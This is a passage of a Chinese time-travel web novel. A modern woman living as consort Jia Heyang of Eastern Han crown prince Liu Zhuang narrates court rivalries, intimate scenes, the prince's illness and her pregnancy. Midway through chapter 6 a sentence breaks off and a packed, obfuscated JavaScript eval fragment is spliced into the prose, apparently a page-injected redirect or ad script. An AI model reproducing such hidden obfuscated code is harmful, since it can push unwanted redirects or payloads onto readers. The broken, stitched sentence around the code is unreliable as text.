“我只对你讲过,除外对任何人都不会说。”我轻笑着调侃:“黄门信任我,于是冒着风险向我透露殿下的事;作为交换,我也要对你说些真心交互的话。毕竟人之往来,总以交换秘密为始,对吗?” 二人步行至丽正殿外的空地前,郑众将我引上台阶后躬身拱手,轻声回话道:“良娣说的是,小奴谨记在心。” 眨眼间的功夫,黄昏的日光已忽暗了,厚厚的云层如同在天上筑起穹顶。身边进出的宫人们为丽正殿内掌起了灯,我跟随女御走进殿中,见太子舍人与六七个中庶子并坐两列,身边参差堆起了半人高的绢帛与竹简。 当我走过面前时,他们动作统一地将刀笔插回进贤冠上,垂头拱手,冲我示意。我脚步放缓,礼貌回过,便目不斜视地朝殿上的刘庄走去。 走完台阶,跽坐垫上,殿外雷声轰隆作响,几乎暗如黑夜。这是一场在中原北方并不稀奇的雷阵雨,来得快,走得大概也快。 雨水如瓢泼似的落下了,殿内的文吏依旧充耳不闻,埋首书卷之中,丽正殿内一时只有清脆的竹简碰撞声。我坐在太子身边一言不发,微微歪头看向他蹙起的眉头和眼下的乌青,忍俊不禁地抬手轻抚他的后背。 他的模样令我回忆起高中熬夜备考的时候,偶尔困得不行,卷子做到半截便趴在桌上睡一觉,有时不小心熬到太晚,打扰到祖父母休息,我还会把自己关在厨房里学一会儿。 厨房白炽灯的开关被一根细细的白线控制着,拉开后闪烁数次,淡黄的灯丝虽会越燃越亮,却还没有丽正殿四处燃起的连枝烛台和宫灯管用。 我知道太子疲倦,但并不心疼他,反而认为这是与他地位相符的付出。今陛下仍在位,只是远游东幸,帝国的朝政事务尚未全部归于储君,倘若他连这些东西都处理不善,那么在不远的将来,由他承接大统,又该如之奈何。 这一刻,我想,或许后汉王朝的太子也有属于自己的高考,然他的成绩不仅关系到自身,还一道牵系着天下万民、各州郡县的灾祸福祉。 见手心的触碰令他的表情松动了些,我索性从屏风后顺手取过一只空竹简,展开挡在侧脸,凑近他的唇瓣轻啄了三下,而后飞速撤开,理好卷轴归位,当作什么都没发生过。 门外雨声不减,殿内情意悄悄。 6. 第六章 “两刻前便叫曹常侍去宣卿,为何这么久才来?” “妾与马良娣、阴良娣和长姐在宜春苑喂蚕。”我答道:“来时很近,就没坐辇车。” 他将章奏折起放下,单手捂住后颈轻捏,我极有眼色地跪直身体为他代劳,听太子道:“本打算等卿来用膳休息,谁知等了一刻都不见人,只好又读了会儿。” 我笑着将他身后的凭几挪开:“那不看了,妾陪殿下用饭,近日劳累,今晚再多为您摁摁腰背。” 当我们二人从前殿离开时,那些郎官都还未离开,依旧办公。我原要问问太子是否也放大家先去用饭,但想起郑众的提醒,还是没敢开了这个口。毕竟有关太子舍人与东宫文吏的事情,和妃嫔并无干系。 内殿的窗户敞开着,有些春雨飘进,趁常侍黄门还在上菜的功夫,我撑在窗棱上探身出去,想要闻闻雒阳两千年前的、潮湿的泥土气味。 太子踱步到我身后驻足,双臂环抱着我的腰,风带进的雨点染湿了他摊开的掌心。我正欲转身与他拥抱,却被一把托上窗棱前的木台,坐在高处与他面面相觑。 “怎么皱着眉?”我拍拍胸脯逗他:“殿下不高兴吗?不如今夜早些就寝,妾让殿下开心些。” 他没答我的话,反而出乎意料地反问道:“方才阴良娣为难你了?” “......” 我敛起笑容,一头雾水地答道:“并未,良娣确说了几句,但算不得为难。可这分明是傍晚刚发生的事,谁通报给殿下的?” 他笑道:“永安宫是什么地方,阴良娣是什么样的性子,你今日都清楚了。” “殿下记得临幸妾的第一晚说过什么吗?”我笑了笑,低头靠在他肩上:“谨守宫规,低调行事。” 太子赞赏地点头,转而安慰我道:“她从小娇纵惯了,母后也一贯包容,倘若气不过说些什么,勿放心上。” 我轻闭着双眼,丝毫没在意他说了什么,只争分夺秒地感受这份惬意、这份温存,顺便沉浸在权力带来的快乐里难以自持。太子认为我会因阴良娣的言语而感到委屈,实则不然,我始终在提醒自己,这个男人不属于任何人,我不应把全部心思放在他身上,为他争风吃醋的行为更是毫无意义。不过假如他在场,我或许愿意绘声绘色地演给他看。 但这份缱绻却又不是假的,纵使贾禾阳在隐形反抗,纵使我从不认可封建一夫多妻制,但人非草木,我终究敬爱、依赖他的身份与地位。 毕竟世上从没出现过如此爱护我,且如此拥有至高权力的男人。我的父亲蛮横偏执,文化程度极低;祖父朴实少言,被贫穷压弯了腰脊。我的青春年岁太忙也太局促,不敢停下脚步,每天想的只有成绩是否进步、距高考还有几天、兜里还剩几块午饭钱。 我从没恋爱过,但我很聪明,知道爱和性是什么,也知道人类或好或坏的特质、秉性。但真正令我实践出真知的,是此刻拥抱着我的这个男人。 多么可惜,我最依赖的丈夫,却并不是我一个人的丈夫。 夜间的帷幄总燃灯到很晚,正殿的郎官们早就回庐休息,我将双手撑于太子胸前,浑身因脱力失去平衡而向前倾倒,激烈的交融使我精疲力竭,喘息着枕在他颈间,感受他炙热的掌心抚在我的后背,与我一起安静地缓了半刻。 强烈的困意总在这样美好的时刻席卷我的大脑,许是如此飘然幸福的情感还未散去,我与他接□□使神差地开口问道:“殿下近日因何事闷闷不乐?” 他的呼吸平复了些,竟也肯答:“为国事烦,为家事忧。” “殿下想听妾讲个故事吗?”我抬脸与他对视,眼神迷离地呢喃道:“只是故事内容貌似有些出离常理。” 太子赤裸上身,翻身吻在我额间,随手扯过锦被将二人盖起,嗓音有些嘶哑地认同:“时辰还早,卿不妨讲与我听。” 我出神道:“殿下想......两千年后的光景,会是什么样?” “两千年?”他喉间挤出一段温和的笑声,竟自嘲道:“恐怕汉室早已不复存了。” 我没料到他竟会主动讲出如此敏感的玩笑,赶紧自辩:“妾不是这个意思。” 太子枕着自己的手臂,叹道:“天行有常,纵如强秦霸楚,也有亡时;贤明之君尧舜,千年后不过化归黄土。大汉建国虽已逾二百年,中兴安定,国运昌盛,然又怎能传于万世?” 听他这么说,我十分惊诧地怔大了双眼。 “但殿下的名字会留下,功绩也会留下。”我迷茫地望着榻顶,轻声回答:“东汉的每一任帝王,都会被两千年后的百姓记得。” 他轻笑道:“既是大汉,何分东西?” 意识到失言,我立即耸肩道:“妾口误,毕竟西都长安一个汉,东都雒阳一个汉。陛下为我朝中兴之主,于昆阳大破王邑、严尤,协三辅豪杰共诛乱臣王莽,一战成名,是何等枭雄。” 他将其当作故事来听,饶有兴趣地随口问道:“那卿呢?是否也与吾等一起为史官所记,流传千年?” “妾并没听说过自己的事迹。”我靠在他臂弯:“妾只知道马良娣会和殿下一起为人所道,她是个饱受赞誉的好妻室,殿下也会很偏爱她的儿子。” 我在他颈间轻蹭,垂眸看向自己身上的斑驳痕迹,趁着二人欢好情热尚存,对他坦白道:“殿下,妾从距离此刻两千年的地方而来,并非胶东侯之孙、马良娣之外亲,而是来自贫户,受尽苦楚。临死之际阴错阳差,才得以成为贾氏女,来到殿下身边。” 此刻的温存打乱了我的情绪。有太子的爱幸,有姐姐和姨母的关照,我第一次不用被因单枪匹马而备受欺负,第一次身居高位与人谈话,第一次获得珍贵的礼物和旁人的嫉妒。我想起童年、青年时在家所受的对待与独自工作在外的不易,无声擦干鼻梁上滑过的泪水,眼神空洞地出起了神。 环抱着我的太子许久没有回话,当我听着帷幄之外的雨声,毫无防备地享受这份久违的安静时,“巫蛊”与“谶语”二字却忽然从贾禾阳的记忆中猛然响起在耳畔,令我的后背即刻被冷汗浸湿,打挺似的坐直了身体。 “殿下。” 我的身体立时被贾禾阳的恐惧占据了,顾不得衣衫不整,跪在榻上磕头谢罪道:“妾一时糊涂!言语不敬,妄加揣测殿下与良娣,又兼胡言乱语!望您勿怪罪!” 贾禾阳的身体在发抖,她的恐惧深深影响了我——妃嫔乱语鬼神,公然对太子宣称自己并非胶东侯贾复的孙女,这可是连累全族、欺君弃市的大罪。 我的脑袋还俯在榻上不敢抬起,只听见身边的刘庄缓缓坐起,良久后终于伸出手掌,为我挽起了散下的发丝。 “既说了是故事,谢什么罪。”他将我扶起,挑起嘴角:“我见过贾武仲,卿与他很相像,加之父皇也见过卿幼年的模样,我怎会疑你。换言之,我召幸卿,也并非因为卿来自贾氏一族。” “......” 他的话语就像浮木,将胆怯的贾禾阳从湖底托举而起,我耳边的声音不再模糊,而也随着出水而变得清晰了。我心下委屈,眼眶通红地扑进太子怀中哭泣,泪水从下颌滴落在他的背上,口中反复唤着殿下。 “好了。”他为我整好身上凌乱滑落的合胜抱腹:“就算卿当真来自两千年后,也没什么。家贫更无妨,如今富贵了便好。” 我坐在他腿上擦拭眼泪:“殿下待妾很好,妾幸而成为贾氏女,才能到您身边。” 他笑道:“以后有何先见,都告知于我,枕边有个方士也未尝不善。” 我终于破涕为笑,跽坐在他身后,边为他揉肩边开口道:“若您不怪罪,殿下此刻碰巧有件烦心事,可由妾来为您宽心。” “何事?” “殿下担忧东海王,也摸不透陛下对郭家的态度,于是感到不安。” 刘庄呼吸一顿,分明被说中烦恼,却仍对着面前被风吹起波澜的丝帷沉声呢喃道:“我已是储君,何必不安呢?” “是。”我从身后紧抱住他:“此言万死,但妾保证陛下百年之后,您会顺利继承帝位,成为一代明君。” 他转而问道:“卿方才说,我会看重马良娣的孩子,是何用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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帝国君主的婚姻是极其政治化的,若碰巧遇见宠妃爱妾,自是缘分;若没有,便要身体力行地承担起繁衍子嗣的角色,尽可能多的使宫人和妃嫔们怀上孩子。 这么看来,贾禾阳与我互换身体,对她而言是件好事,于公于私,我都不愿她在抗拒的情况下受这个罪。我比她更加热情,也擅长自作聪明地逢场作戏,毕竟作为妃嫔,起码要在帷幄这样私密的战场内打赢胜仗。 假如要生育,恐怕也得我来替她经历。 我褪下抱腹,紧贴在他身侧休憩,柔声问道:“殿下今夜还舒心吗?” “卿很聪慧。”他道:“总是侍奉最好的。” “因为妾爱殿下,总盼望殿下高兴。” “恭肃小心、侍奉勤劳,却也聪达有趣,我难免怜爱卿多些。”他轻阖双眼,抚摸着我顺滑乌密的头发,安抚道:“今夜折腾三回,卿也费了不少力气,睡吧。” 帷幄里的连枝灯燃尽了几只,烛火昏暗,空气微凉,我趁机问道:“殿下会一直怜爱妾吗?” 太子喟叹一声,毫不迟疑地答道:“会。” “殿下也会偏爱妾的孩子吗?” “会。” “真的?” “嗯。” “那要是......妾也像姨母一样难以如愿呢?” “不会。”他难掩困倦地打趣我道:“我与卿同样先见,保证你会有个聪明宽和、侍母至孝的好孩子,彼时便不必再羡慕旁人,也无需整日挂在嘴边了。” “......” 我想,在如此静谧温存的好时刻,不论我说什么,他都会应承下来,希望早些令我满意地停止发问,饶他休息。然而刘庄的确是个好太子,明知马良娣难以有孕,依然给予厚待,处处尊重。在不远的未来,他更将成为一位受到史官深嘉的好皇帝。 因此,我的心底对他不再那么刻薄了,既然是我主动问起,他也肯承诺,不如相信吧。 只是这一刻,我竟然有些爱他了。 7. 第七章 因封禅伟业,陛下诏令改元,建武三十二年自此成为了建武中元元年。 在本年夏日到来时,太子进宫侍疾的频率忽然高了起来,若情形严重,他同诸侯王甚至会在北宫过夜。我从郑众口中听闻,陛下已至耳顺之年,自东幸归来便外感热病,咳到夜间难眠,时常低烧不退。 哪怕来自医学诊疗技术发达的二十世纪,我也不能据此判断这位中兴之主的病因,在遥远的东汉王朝,六十岁已是高寿,有些头疼脑热并不稀奇。 而我不悲不喜的情绪很快被一场意外打破,在日子即将踏入大暑之时,太子忽然也病倒了。 这是永安宫里的头号大事,上至太子太傅,下到常侍黄门,每个人的头顶仿佛都悬着一只警铃,宫中大大小小的太医令躬身穿梭在閣门、崇明门与丽正殿之间,默契地保持着静默和忙碌。 太子的病是我先觉察的苗头,尽管很清楚他命不当绝,但看着一众良娣孺子掩泣侍疾的模样,我还是合群地端出了一份悲伤萋萋的做派。 他的病状有些像热症,又有些像长期劳累、心情郁结下产生的皮肤过敏性反应。起初是由于侍寝时他兴致缺缺,较往常多了份力不从心,再到后来,我例行为他按摩解乏时发现其腰部发出红疹,轻触时又痒又痛,才发现太子确实是病倒了。 我与马良娣侍疾最多,也是在那几日陆续见着了其余的孺子——她们大多姿色平庸,出身女官或三河豪族,个头方到贾禾阳的肩膀,并无什么吸引力,可面对几位良娣时极其恭敬,遵规守礼。 我在殿外待诏时总跟着众人一起焦灼徘徊,尽量显得不要太平静,但进殿面对刘庄时并不刻意悲伤,反倒一切如常,为他宽心。 他如今腰上涂了药膏,总得趴着,我手握便面为他扇风,并吩咐曹常侍为他取来冰缸降温。太医令对此提议表示审慎,然我只简称太子再这么趴下去,身上又会发痱症,实在受罪。大家都怕背负大不敬的罪责,刘庄自己也生忍着,总得有人跟他们唱唱反调。 “这红疹是因疲倦忧郁而起,与伤寒杆菌之病不同,殿外暑热,殿下这样很受苦。”我指着殿外,对太医令道:“黄门辛苦些,冰不要断,倘若殿下身上再起痱疹,那才是诸君失职。” “可马良娣......” “此为贾良娣的吩咐,不是马良娣的。”我坐在太子身边,再次重复:“快去吧。” 太医令见刘庄并未反驳,终于肯松口道:“是。” 我起身放下轻纱制成的帷幄,跪坐在矮榻边为他擦去头上汗水,无奈嗔怪道:“既然热成这样,怎么不吩咐侍疾的孺子或常侍取冰来呢?” “太医令说不能受凉,便算了。” “殿下,你还记得妾说过的,有关自己出生长大的那个世界吗?”我托腮坐在榻边的小阶上,凑近他耳边轻声透露:“在那里,人就算心肝脾胃都受损,也可以痊愈无忧。” 他神色黯然地微笑:“当真?那我的病呢?” “妾保证您很快就会康复。只是最近忧虑陛下病情,又兼政事繁杂,侍疾日夜颠倒,这才暑气入体,急火攻心了。” 我顺势看向他腰间,感叹道:“腰间已经恢复许多,妾听前几日伺候的孺子们讲,殿下都没再感觉痛痒了是不是?” 刘庄闻言闭上双眼,轻问:“最近三日都没见卿,在忙何事?” “......”我立刻为自己辩白道:“殿下这就明知故问了,侍疾都有先后,孺子良娣那样多,哪能日日轮到妾?可妾早晚都在殿外候旨,逢着黄门和太医便问,他们都不乐意搭理我了。” 我知他随口闹闹脾气,毕竟人在病中脆弱,平时马良娣与孺子们待他谨慎,时而哽咽沉默,把这般发烧过敏的病症当作绝症对待一般,惹的太子心中愈加苦闷。我到他身边哄一哄,和太医令顶顶嘴,越不把病情当回事,他便越安定些。 “殿下想妾了,对吗?”我凑近啃他耳垂,玩笑道:“是您自己不宣我来的,但凡殿下唤一声,妾硬闯也得进殿来。” 他的睫毛眨动几下,面色温和地摇头道:“少来也好,病症或会传染。” “不会!”我立即反驳:“就算如此,妾也要来。” 帷幄之内摆了两只半人高的冰缸,我换了只大些的蒲葵叶扇为他扇去冰风,又命中黄门将冰敲碎一块,用帕子包起,为太子擦了擦额头。 仅仅半刻钟的功夫,他身上的汗便落了,人也舒服不少。我正欲给自己擦擦汗,却听小黄门在外通报,随后端着清水和药汤进入帷幄,要伺候太子喝下。 好歹也在永安宫生活了半年之久,我知晓宫中水质如何,于是总嘱咐身边詹事将水沉淀烧开后方能饮用。原先天气凉,宫人都会加热后再泡茶或直饮,可最近入暑,假如刘庄偶尔要喝些凉水降温,便不会刻意多加这一道流程。 并非黄门偷懒,而是实在不能苛求古人。 我警惕地将水碗端过,问道:“进一月来殿下食用的清水,你们可曾煮热放凉后再奉吗?” “回贾良娣,不......不曾。”他有些意外地躬身埋首:“宫中并未有此规定,太医令与庖厨也未吩咐给小奴。” “务必拿去烧沸放凉了再奉给殿下。” 我长叹着冲刘庄抱怨道:“井水毕竟是生水,您前两日食欲不振,偶尔腹痛,大抵是因为这个。一旦沉淀烧沸之后再饮,这遭病很快就会转好。都怪妾大意,竟忘了向黄门交代。” 他顺从地应允,挥手告知宦者照做后再端来,自己则接过药碗一饮而尽。这汤的气味有些像草木灰和中药材的混合,我见太子面色难看,凑近抚上他的脑后与之亲吻,确实又苦又涩。 “殿下看这是什么?”我从背后摸出一块麦芽饴,递到了他嘴边:“放进口中含一含。” 刘庄忍俊不禁道:“卿把我当五岁婴孩?” “难道加冠及笄者不许吃糖?那永安宫的庖厨还做这些干什么?” 他颔首将糖块含进嘴里,而我则为他换了个侧卧的姿势,拧干冰帕为他擦拭身体。丽正殿的灯又掌起来了,刘庄食欲不振,但顾及我还空腹,仍然传了晚膳,二人分食了些,便开始侍奉他入眠。 童年在乡下的条件比这差得多,我十来岁的时候每天骑着辆破车上下学,天不亮就走,黑透了才回来,祖父母年纪见长,又做体力活,腰酸背痛实乃家常便饭,同样需要我熬夜关照打理,因此这般走走过场似的侍疾对我而言,根本算不得什么。 小黄门为轮流侍疾的妃嫔和太医令分别腾出了窗边和外殿的矮榻,但由于休憩之处在帷幄之外,我又极能熬夜,于是坐在榻边的软垫上陪伴,紧牵着他的手掌,注意阻止其翻身。 扇子摇酸了就换只手,深夜最后换了一回冰缸,太子早已熟睡良久。我算了算夜漏的时刻,大概刚过凌晨两点不久,逐渐眼皮打架,刚打算挣脱他的手心出去睡觉,却没想到将浅眠的刘庄扰醒了。 我的哈欠还没打完,赶紧一个激灵坐直身体:“怎么醒了?” “卿为何还没睡?” “太医令刚进来换过药贴,妾怕殿下梦中翻身。” “......” 我双腿跪坐的发麻,有些狼狈地撑着榻边站起,不忘行了个并不规范的揖礼道:“殿下接着睡吧,时候还早呢,夜里温度适宜,妾到外头去候着,不扰您。若有任何不舒服,一定唤妾进来。” 他没有回答我的叮嘱,我附身在他下颌处一吻,扶着榻边艰难挪到帷幄之外,刚把自己摆成一个“大”字躺下,便听刘庄的声音清晰从纱后传来—— “禾阳。” 我即刻坐起应答,又原路折返回去,走近掀开帷幄道:“禾阳在呢。” 只见太子自己向内稍挪了位置,轻声唤我过去,面色柔和道:“睡到我身边吧。” “......” “嗯。” 我和衣躺下,如黏人的狸奴般凑近他怀中,将手臂从他腋下穿过,搂住他的后背。太子低头贴上我的发顶,还没温存片刻,他仿佛忽然想起什么,竟毫无征兆地将身体撤远了些。 即将入眠的我立刻紧贴上去,二人来回拉扯了会儿,我终于一头雾水地抬脸发问:“殿下既召妾来,又躲着妾做什么?” “近日暑热。”他欲盖弥彰地掩面轻咳两声,还是坦白道:“我已三日没沐浴了。” “......” “殿下一直很好闻,要是觉得不舒服,妾明早给您洗头发。”我强硬地将他制住,如往常般枕入他臂弯,跟说梦话似的撒娇道:“好殿下,求您抱着妾睡吧。” 雒阳的深夜终于回归一丝清凉冷寂,他动手将绸被盖在我身上,很快也入眠直至清晨。赶在太子醒来之前,我已梳洗妆毕,正巧与当值的郑众打过照面,拜托他在阴良娣前来侍疾前为我备好热水、鸡栖子与无患子皂甙,待刘庄醒来,即刻便能为他洗好头发。 对待太子,我更多将其视为领导,彼时想的仍旧是脱颖而出、升职加薪,为不知何时便要物归原主的这副身体搏个好前程,也不枉贾禾阳为我续命的恩情。可当我托腮坐在榻边望向熟睡的刘庄时,心中又因近日的日夜相处而产生了些复杂的情绪。 这样的男人并不是我想要的,我坚定地深爱着他手中滔天的权势,而权力具有排他性,如果我要独享,就意味着未来的皇帝需要被我独享,这绝无可能。 可日夜淋漓尽致的缠绵、亲吻不是假的,纵使我再冷漠,也曾在意乱情迷时将真心的爱语宣之于口。 此时此刻,我必须对自己承认,虽然宣称能够太子感受到十足的爱,可这十分里也有三分确凿存在。他待我还算爱护、大方,而我却带着一贯的圆滑世故,对他不够真诚。 刘庄在夜漏尽半个时辰后醒来,我检查过他脊背上正在消红祛肿的疹子,在换药的隙间扶他平躺,跪在榻边为他浸湿头发。 他闭目养神,显然对这份体贴非常受用,温柔问道:“今日是谁侍疾?” “回殿下,是阴良娣。” 我将脂膏和鸡栖子浆混合在手心,细细为他揉搓着每寸发丝,答道:“妾为您洗完就离开,待阴良娣前来,再为您擦擦身子。” 刘庄忽而轻笑:“她向来十指不沾阳春水,罢了。” 我闻言不答,只专注地为他冲净,又用无患子皂甙洗了一遍,保证发丝彻底清爽,这才细细为他擦干梳顺,安置妥帖。 谈及阴良娣,我还摸不透太子待她的情意究竟有几分,因此不敢妄言。只是深知她不喜我,而此人既是宠妃,日后或将成为竞争对手,对此,我理应保持警惕。 太子见我恭敬地颔首跪在榻边擦地整理,又打量我身上那件穿旧的织锦裾袍,意味不明地开口陈述道:“提起阴良娣,惹卿不高兴了。” 我一副大梦初醒的模样抬头,茫然认错:“妾手生,怕弄痛殿下,于是过分专注,一时忘记回话。” “我姑且相信。”他微微扬起嘴角,问:“不如今晚让阴良娣回去休息,还劳烦卿来丽正殿辛苦一晚,如何?” “......” 定睛一看,他今日的精神倒的确比原先好了。我微笑着坐回他身边,状若乖巧地靠在他胸前,煞有其事道:“殿下所言‘辛苦’是指何意?妾侍奉您并不觉累,但假如换一种侍疾的法子,大概得反过来‘辛苦’殿下了。” 刚唇齿相依,曹常侍便跟在阴良娣身后进了后堂,在帷幄外通报时便能看到榻上二人的姿势。我缓慢从太子身边离开,一言不发地敬拜过后,微笑着掀开纱幔一角,对阴良娣颔首示意。 她很给面子地做出回应,二人擦身而 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我听到东殿内传出的机杼织布声,于是进入屋中寻她。马良娣背对屋门推动手臂,身上的短襦不是粗布便是棉麻,平日生活极其节俭,倒符合现代人对“古色古香”一词的想象。我随性在她身后的插屏前坐下,见她停下手中动作,回顾问道:“禾阳,你为何这个时辰来了?” “侍疾已毕,来看看姨母在做什么。” “可用过早膳吗?” “尚未。” 她起身吩咐詹事为我煮些汤饼裹腹,我一贯吃腻了这玩意,便跪直身体婉拒道:“不必做了,姨母,我不饿。” “为殿下侍疾不是易事。”马良娣重新坐回布机前劳作:“太子向我与阴良娣夸赞过,说你聪慧机灵,总有令人舒畅的巧思。” 我缓缓歪倒在凭几上,问:“是吗?他什么时候说的?” “上月末,你身子不适,殿下白日召一众妃嫔去温明湖畔赏花。心中念及你缺席,特意当众赞许。” “殿下分明是在为我树敌。”我毫不领情道:“邀请一众宠爱的姑娘们赏花饮酒,偏在这般场合提起我,谁知是不是真心夸赞?” 马良娣停下活计,责怪地看我一眼,竖起手掌提醒道:“禾阳,不准讲这样的话,更不许在旁的孺子妃嫔面前议论殿下。好不容易得来的盛宠,你不想要了吗?” 她的行为倒激起了我的好奇和逆反,我起身摁住织机,毫不客气地回怼道:“我在姨母面前说说都不行?难道殿下就什么都是对的?难道他一旦指令我便要顺从为之?殿下起初常常召幸姨母,如今来了也罕见留宿,难道姨母就甘心?” “......” 这番忽然发难令马良娣措手不及,她犹疑却仔细地观察着我的面色,原本松弛的表情严肃起来,柔和地唤我名字:“禾阳,你在丽正殿受气了?” “根本没有。”我赌气似的踏出门槛,坐到廊下的杌拼木床上,忿忿答道:“我向姨母议论殿下,是出自信任。倘使我在这里说什么都是错,那姨母今后也不要刻意召见我。殿下的确喜新厌旧,就算不准我说,我仍然这样认为。” 听我有些无理取闹的意思,她重新推启织机,心下了然:“今日阴良娣侍疾,你恐怕撞见了她。” “殿下起初的确非常宠爱我,如今我也并未失宠,因此无甚可怨怼。”她沉吟道:“阴良娣同样陪伴太子许久,身后又有母后与阴氏一族,地位稳固也有情可原。从始至终,储君都属于天下百姓,他要做的绝非沉醉于某个良娣孺子,而是一位明白理智的君主。” 侧卧在杌床上的我眨动双眼,反问:“他既是人,如何存天理灭情欲?真正明白理智的帝王上至黄帝尧舜,下至高祖、世祖皇帝,纵使文治武功,也做不到。” 马良娣云淡风轻地笑对:“你的郁结并非在此,你看得出他有情欲、认常理,只是气恼这份情欲不能独属自己。” 她手中动作始终未停,听着反复而清脆的木方碰撞声,我开始昏昏欲睡。不远处的马良娣接着宽慰我道:“你与禾苗刚进永安宫不到半年,年纪尚轻,难免争强好胜,但此时重要的一是得宠,二则早些得个孩子。” “看到其余妃嫔怀着殿下的孩子,姨母不难受吗?”我闭起双眼回应:“一旦有了孩子,我就不与这些人争抢,更不稀罕宠幸了。殿下成为天子之后有的是女人,我不愿因嫉妒而痛苦。” 她笑道:“你尚且年少,放下这些需要很长时日。” “我只想禾阳有个皇子做倚靠。”我自顾自呢喃道:“这是该为她做的,我从不半途而废。” 东方缓升的日光掠过宫墙照耀在我的背上,非常温暖,宫里的鸟儿爬虫苏醒活动,鸣叫不绝于耳。伴随着如此清爽静谧的早晨,我放松身体,陷入了沉沉的睡眠。 身上轻盖住的绸毯丝毫没有扰乱我的浓睡,在这个悠长却熟悉的梦里,我看到自己的灵魂回到它本该生活的时代,医院明亮严肃的氛围混着消毒水味钻入鼻腔,轮椅和支架整齐摆在墙边,我看到自己坐在蓝白条纹的病床边沿,艰难地拽着天花板垂下的弹力带,尝试站起来。 那股极度费力的感觉令我在梦中都不得安宁,我支使贾禾阳的躯体从身后用力托举钟维的脊背,经过仿佛半辈子那样长的挣扎后,梦中的“钟维”最终还是成功地控制双腿,在微弱的啜泣与痛呼中,用力支撑起了自己的躯干。 此后很长的一段时间内,我都不会知晓,这位名为钟维的病人在上海市第一人民医院住了两个多月,康复训练从不半途而废,终于在该日清晨,勇敢的实现了复健以来的第一个目标——站立。 半年之内,钟维兢兢业业地为贾禾阳经营着良娣的身份、家族的期盼以及太子的爱重;而贾禾阳则日夜不停的忍受病痛,感受着骨科断裂再复位、内脏破损再愈合的折磨,为钟维在生命的跑道上战胜死神。 这是来自两个世界的第一次微小交集。 8. 第八章 自太子的病症痊愈后,永安宫的良娣孺子中只有两个人还在频繁承宠。 一个是阴良娣,一个是贾良娣。 太子常来马良娣处与她读书论政,因东殿与其临近,于是他大多时候歇在我这里,其余时间则陪伴马良娣。建武三十二年对于天下百姓而言,是平凡而平静的一年,经历王莽乱政、赤眉更始作乱的岁月,西南西北军阀割据终于平定,四方正在由破碎走向聚合。而只有天下一统,百姓才可能过上好日子。 假如以七日为周期,太子有四五日都在我这里,至于剩余时候召幸谁,或独自做什么,我并不关心。 太子白日与马良娣探讨新律法,夜间与我探索新玩法,我也的确实现了当初对贾禾苗放出的厥词,令他宠爱我,欲罢而不能。然而我想为贾禾阳拼来的东西,却一直没有实现。 在某次与太子进宫侍疾,并前往中宫叩拜阴皇后时,她在谈笑间回忆起建武二年,陛下率军北上抵抗彭宠的事情,也是在这次短暂的随军途中,她怀孕并分娩生下了太子。而如今我已频繁承宠半年之多,却始终没有身孕。 由于对史书并不熟悉,我对马良娣和太子命运的了解甚至远胜于贾禾阳。于是我开始忐忑,生怕她之所以寂寂无名,是因为无子。 毕竟她没有姨母那样好的命。 直到同年十月,在天气逐渐从热转凉的时候,上天垂怜,贾禾阳的腹中终于产生了一个小如花生的胚胎。 这个孩子来的大张旗鼓,随便哪个请安的太医令搭指一探,即刻便能察觉到有力的脉象。我起初为贾禾阳感到高兴,同时也清晰地将这个孩子与我本人分割开来——我使用贾禾阳的身体作为皮囊,这个胚胎依托我为容器,那么公平说来,这是贾禾阳孕育出的孩子,是独属于她的。 我想要替她把这个孩子生出来,但又难忘她以往偏激的反应。在初侍寝太子的第二日,她的反抗如同一把在我腹中搅动乱刺的短刃,令我汗出沾背,浑身剧痛,我开始担心贾禾阳的意志再次出现,怕她排异这个尚未成型的胎儿,固执地杀死它。 这是我费尽心思和气力才得到的孩子,绝不该前功尽弃。 与我的忧愁截然相反,太子对此感到纯粹的喜悦,如同我当初最先察觉到他的病情一样,他也是整个永安宫内第一个发现我身体异样的人。在十月初的那几晚,我夜间时常体力不支,神经也变得敏感,在不知第几次喘息汗湿、精疲力竭的躺倒在榻上时,胃部总会掐准时机,泛起一阵夸张的恶心。 太子在此之前已有了五个孩子,但对孕育之事一无所知,直到我在晨起时趴在榻边干呕,我们才默契地意识到了某些事情的改变。 在家乡和上海奔走的那些年,我从没想过恋爱成家,更没想过怀孕生子。假如抛去贾禾阳的年龄不算,我也只有二十五岁,对于现代的人生标准,正是享受青春和自由的好年纪。 可如今,我替十七岁的贾禾阳怀上了她后半生的指望。 陛下这几个月病得很重,太子上次携我进宫侍疾的时候曾见过他。中兴霸主如今已难出帷幄,缠绵病榻,膝盖浮肿的像拳头那般高,一张阔面凹陷下去,可见高高的颧骨。陛下夜间因疼痛而时常低吟,宦者与太医令问他哪里不适,他只沉默着抬起手,来回指向自己的腰背部或右上腹。 我记得陛下的牙齿坏了不少,神经痛也在间歇影响着头脑,他无助,愤怒,偶尔却又悲伤。太子日夜不离地陪在殿中,各色贵人采女来了又去,常侍黄门寂静无声,南宫前殿笼罩在一片肃穆的阴云之下,十一月份的冬节也因此过得极尽低调,只由太子简单主持了朝会,率百僚先荐黍羔,再荐玄冥祖祢,共进酒肴,谒贺君师耆老。 当这个孩子在贾禾阳身体里两个月的时候,太子刘庄带着我再次进入南宫,到前殿拜见尚在病中的皇帝。 所有人都很清楚,陛下注定不久于人世,或许下月,或许明年正旦之后,太子便会承继大位,成为大汉帝国的新帝王。贾良娣腹中孕育着第一个流着储君与功臣后裔融合血脉的孩子,陛下很欣慰,直言这是他与贾复的缘分,也是贾禾阳与太子的缘分。 贾禾阳的祖父随陛下南下信都、于邯郸击破王郎,又在射犬大破青犊军,一路南征北战,功勋卓著,陆续受封冠军侯与胶东侯。而在她进入掖庭侍奉阴皇后的这一年,祖父去世了,陛下下诏为他赐谥为刚,正如他的性格一般刚烈、刚直。 从贾禾阳的记忆中,我几乎可以确定,她的性格是贾家最像祖父的一个。 陛下对我说了祝福之语,我跪在榻边不断谢恩。我想,陛下纵使过得如此波澜壮阔的一生,经历无数悲喜胜败,在小长安战场上失去二姐刘元,在更始帝手下失去兄长刘縯,狼狈奔走在河北州郡之间,又能在昆阳之战中独当一面,在千秋亭振臂称帝......尽管如此,人到晚年,仿佛什么都不重要了。 